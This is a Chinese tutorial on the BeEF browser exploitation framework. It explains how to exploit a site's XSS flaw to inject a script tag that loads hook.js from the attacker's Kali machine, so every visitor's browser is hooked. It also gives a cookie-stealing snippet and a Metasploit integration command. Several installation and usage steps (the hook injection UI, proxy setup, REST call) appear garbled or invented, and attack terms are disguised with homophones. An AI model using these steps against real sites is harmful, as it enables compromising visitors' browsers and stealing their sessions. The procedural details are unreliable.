XSS利器之BeEF

简介: XSS利器之BeEF

image.png

image.png

我们输入默认的用户名和密码:beef,即可登录BEEF。

BEEF渗头测试实战

接下来,我们使用BEEF进行渗头测试的实战。

BEEF把其公鸡脚本全部放在了hook.js的脚本中,因此我们需要在页面中将该文件当作JavaScript脚本代码来执行。一个常见的作法是利用某页面的XSS漏懂,这样我们就可以将下列代码:

<script src="http://192.168.136.66:3000/hook.js"></script>

1.

插入到页面中。其中192.168.136.66为Kali Linux的IP地址。这样,所有访问该页面的用户,都会加载BEEF的公鸡脚本,然后就会收到BEEF的公鸡了。

我们按照上述思路构造页面,然后让浏览器访问该页面,我们就可以在BEEF的管理页面中看到上线的浏览器信息了,如下所示:

image.png

image.png

基本使用步骤

安装 BeEF:

克隆 BeEF 的 GitHub 仓库:

git clone https://github.com/beefproject/beef.git


安装依赖:

cd beef  
gem install bundler  
bundle install


启动 BeEF:

启动 BeEF 服务器:

ruby app.rb


打开浏览器,访问 http://localhost:3000/,你会看到 BeEF 的管理界面。

配置代理:

配置你的浏览器使用 BeEF 作为代理服务器。例如,在 Chrome 中,打开设置,搜索“代理”,然后配置代理服务器为 http://localhost:3000/。

捕获流量:

在 BeEF 界面中,点击“Hooks”标签,然后点击“Add Hook”按钮。选择一个钩子(例如,alert("BeEFed!")),然后点击“Inject”按钮。

浏览器会自动加载一个 JavaScript 代码片段,当你访问任何网站时,BeEF 会注入这个钩子。

查看结果:

当钩子被触发时,BeEF 界面会显示相关信息,包括访问者的 IP 地址、浏览器信息等。

进阶使用方法

编写自定义钩子:

你可以编写自己的 JavaScript 代码来创建自定义钩子。例如,你可以创建一个钩子来窃取用户的 cookie:

var cookies = document.cookie;
alert(cookies);


将这个代码片段添加到 BeEF 的“Hooks”标签中,然后注入到目标网站。

使用 BeEF 模块:

BeEF 提供了许多内置模块,可以帮助你执行各种公鸡和测试。例如,你可以使用“XSS”模块来测试跨站脚本公鸡。

在 BeEF 界面中,点击“Modules”标签,然后选择一个模块进行测试。

集成 BeEF 和 Metasploit:

BeEF 可以与 Metasploit 框架集成,从而实现更复杂的公鸡。例如,你可以使用 BeEF 来传递 Metasploit 的有效载荷。

配置 Metasploit 以使用 BeEF 作为代理:

msfconsole  
use auxiliary/server/beef  
set LHOST <your_local_ip>
set PORT 3000  
set HandlerPort 8080  
run


在 BeEF 界面中,点击“Hooks”标签,然后点击“Add Hook”按钮。选择一个钩子(例如,alert("BeEFed!")),然后点击“Inject”按钮。

自动化测试:

你可以使用 BeEF 的 API 来自动化测试过程。例如,你可以编写一个脚本来自动注入钩子并收集结果。

使用 BeEF 的 RESTful API,你可以通过 HTTP 请求来控制 BeEF 服务器。例如,你可以使用 curl 命令来添加一个钩子:

curl -X POST http://localhost:3000/hooks -d "url=http://example.com" -d "hook=alert('BeEFed!')"


相关文章
|
24天前
|
弹性计算 人工智能 架构师
阿里云携手Altair共拓云上工业仿真新机遇
2024年9月12日,「2024 Altair 技术大会杭州站」成功召开,阿里云弹性计算产品运营与生态负责人何川,与Altair中国技术总监赵阳在会上联合发布了最新的“云上CAE一体机”。
阿里云携手Altair共拓云上工业仿真新机遇
|
16天前
|
存储 关系型数据库 分布式数据库
GraphRAG:基于PolarDB+通义千问+LangChain的知识图谱+大模型最佳实践
本文介绍了如何使用PolarDB、通义千问和LangChain搭建GraphRAG系统,结合知识图谱和向量检索提升问答质量。通过实例展示了单独使用向量检索和图检索的局限性,并通过图+向量联合搜索增强了问答准确性。PolarDB支持AGE图引擎和pgvector插件,实现图数据和向量数据的统一存储与检索,提升了RAG系统的性能和效果。
|
20天前
|
机器学习/深度学习 算法 大数据
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
2024“华为杯”数学建模竞赛,对ABCDEF每个题进行详细的分析,涵盖风电场功率优化、WLAN网络吞吐量、磁性元件损耗建模、地理环境问题、高速公路应急车道启用和X射线脉冲星建模等多领域问题,解析了问题类型、专业和技能的需要。
2577 22
【BetterBench博士】2024 “华为杯”第二十一届中国研究生数学建模竞赛 选题分析
|
18天前
|
人工智能 IDE 程序员
期盼已久!通义灵码 AI 程序员开启邀测,全流程开发仅用几分钟
在云栖大会上,阿里云云原生应用平台负责人丁宇宣布,「通义灵码」完成全面升级,并正式发布 AI 程序员。
|
3天前
|
JSON 自然语言处理 数据管理
阿里云百炼产品月刊【2024年9月】
阿里云百炼产品月刊【2024年9月】,涵盖本月产品和功能发布、活动,应用实践等内容,帮助您快速了解阿里云百炼产品的最新动态。
阿里云百炼产品月刊【2024年9月】
|
2天前
|
存储 人工智能 搜索推荐
数据治理,是时候打破刻板印象了
瓴羊智能数据建设与治理产品Datapin全面升级,可演进扩展的数据架构体系为企业数据治理预留发展空间,推出敏捷版用以解决企业数据量不大但需构建数据的场景问题,基于大模型打造的DataAgent更是为企业用好数据资产提供了便利。
164 2
|
20天前
|
机器学习/深度学习 算法 数据可视化
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
2024年中国研究生数学建模竞赛C题聚焦磁性元件磁芯损耗建模。题目背景介绍了电能变换技术的发展与应用,强调磁性元件在功率变换器中的重要性。磁芯损耗受多种因素影响,现有模型难以精确预测。题目要求通过数据分析建立高精度磁芯损耗模型。具体任务包括励磁波形分类、修正斯坦麦茨方程、分析影响因素、构建预测模型及优化设计条件。涉及数据预处理、特征提取、机器学习及优化算法等技术。适合电气、材料、计算机等多个专业学生参与。
1576 16
【BetterBench博士】2024年中国研究生数学建模竞赛 C题:数据驱动下磁性元件的磁芯损耗建模 问题分析、数学模型、python 代码
|
22天前
|
编解码 JSON 自然语言处理
通义千问重磅开源Qwen2.5,性能超越Llama
击败Meta,阿里Qwen2.5再登全球开源大模型王座
978 14
|
4天前
|
Linux 虚拟化 开发者
一键将CentOs的yum源更换为国内阿里yum源
一键将CentOs的yum源更换为国内阿里yum源
221 2
|
17天前
|
人工智能 开发框架 Java
重磅发布!AI 驱动的 Java 开发框架:Spring AI Alibaba
随着生成式 AI 的快速发展,基于 AI 开发框架构建 AI 应用的诉求迅速增长,涌现出了包括 LangChain、LlamaIndex 等开发框架,但大部分框架只提供了 Python 语言的实现。但这些开发框架对于国内习惯了 Spring 开发范式的 Java 开发者而言,并非十分友好和丝滑。因此,我们基于 Spring AI 发布并快速演进 Spring AI Alibaba,通过提供一种方便的 API 抽象,帮助 Java 开发者简化 AI 应用的开发。同时,提供了完整的开源配套,包括可观测、网关、消息队列、配置中心等。
735 9